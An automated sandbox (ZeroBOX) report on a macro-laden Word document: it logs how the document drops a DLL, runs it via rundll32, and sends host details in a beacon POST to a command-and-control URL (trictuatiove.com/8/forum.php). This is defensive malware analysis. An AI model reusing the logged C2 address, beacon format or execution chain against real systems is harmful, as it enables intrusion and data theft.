Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	July 15, 2021, 11:05 p.m.	July 15, 2021, 11:07 p.m.

Size	915.0KB
Type	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Template: Normal.dotm, Revision Number: 2, Create Time/Date: Mon Jul 12 12:24:00 2021, Last Saved Time/Date: Mon Jul 12 12:24:00 2021, Number of Pages: 1, Number of Words: 3, Number of Characters: 21, Security: 0
MD5	`68da25a05ddc6b1e7e04fd5fa4cf76db`
SHA256	`f1ef69dad594ed5cccad8dbe330767a502fa9f19abcfc59d1532f23d05441ed3`
CRC32	`BD879CFC`
ssdeep	`24576:dEIZ4wA74D4SQKxZcy8gthDWhO7M6FbsYl5:d+wJD4QZh/qhqMCbs`
Yara	Contains_VBA_macro_code - Detect a MS Office document with embedded VBA macro code [binaries] Microsoft_Office_File_Zero - Microsoft Office File OS_Processor_Check_Zero - OS Processor Check

WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office15\WINWORD.EXE" C:\Users\test22\AppData\Local\Temp\0712_4408305114.doc
1540
- rundll32.exe "C:\Windows\System32\rundll32.exe" c:\users\test22\appdata\roaming\microsoft\templates\ier.dll,HINYYIMIVRX
  1620

Name	Response	Post-Analysis Lookup
trictuatiove.com	A 194.147.115.74	194.147.115.74
api.ipify.org	A 54.225.165.85 A 50.16.226.23 CNAME nagano-19599.herokussl.com A 54.225.245.108 A 54.235.121.178 A 50.16.246.238 A 23.21.224.49 A 54.235.88.121 A 54.243.175.83 CNAME elb097307-934924932.us-east-1.elb.amazonaws.com	54.235.121.178

IP Address	Status	Action
164.124.101.2	Active	Moloch
194.147.115.74	Active	Moloch
54.243.175.83	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameA July 15, 2021, 11:05 p.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 15, 2021, 11:05 p.m.			0	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

POST method with no referer header

suspicious_request

POST http://trictuatiove.com/8/forum.php

Performs some HTTP requests (2 events)

request	GET http://api.ipify.org/
request	POST http://trictuatiove.com/8/forum.php

Sends data using the HTTP POST Method (1 event)

request

POST http://trictuatiove.com/8/forum.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 56 events)

Time & API	Arguments	Status
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6aaad000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6a6be000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a05000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a05000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a05000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a05000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a05000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a05000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a06000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1b000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a05000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a05000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a05000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1b000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1d000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a05000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a05000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a05000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a1c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008e4000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x69191000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x69181000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6a5f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x69171000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1620 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 16384 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008f7000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1620 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00390000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Looks up the external IP address (1 event)

domain

api.ipify.org

Creates (office) documents on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\~$12_4408305114.doc

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\ter.dll

Creates hidden or system file (1 event)

Time & API	Arguments	Status	Return	Repeated
NtCreateFile July 15, 2021, 11:05 p.m.	create_disposition: 5 (FILE_OVERWRITE_IF) file_handle: 0x000004a4 filepath: C:\Users\test22\AppData\Local\Temp\~$12_4408305114.doc desired_access: 0x40100080 (FILE_READ_ATTRIBUTES\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$12_4408305114.doc create_options: 4194400 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT) status_info: 2 (FILE_CREATED) share_access: 0 ()	1	0	0

Word document hooks document open

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory July 15, 2021, 11:05 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x7ef70000 process_handle: 0xffffffff	1	0	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses July 15, 2021, 11:05 p.m.	flags: 0 family: 2	1	0	0

One or more non-whitelisted processes were created (2 events)

parent_process	winword.exe				martian_process	rundll32 c:\users\test22\appdata\roaming\microsoft\templates\ier.dll,HINYYIMIVRX
parent_process	winword.exe				martian_process	"C:\Windows\System32\rundll32.exe" c:\users\test22\appdata\roaming\microsoft\templates\ier.dll,HINYYIMIVRX

A process performed obfuscation on information about the computer or sent it to a remote location indicative of CnC Traffic/Preperations. (1 event)

Time & API	Arguments	Status	Return	Repeated
HttpSendRequestA July 15, 2021, 11:05 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: GUID=8962251904648732308&BUILD=1207_cvefop&INFO=TEST22-PC @ test22-PC\test22&EXT=&IP=175.208.134.150&TYPE=1&WIN=6.1(x64)	1	1	0

The process winword.exe wrote an executable file to disk which it then attempted to execute (2 events)

file	C:\Users\test22\AppData\Local\Temp\ter.dll
file	C:\Windows\System32\rundll32.exe

0712_4408305114.doc

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All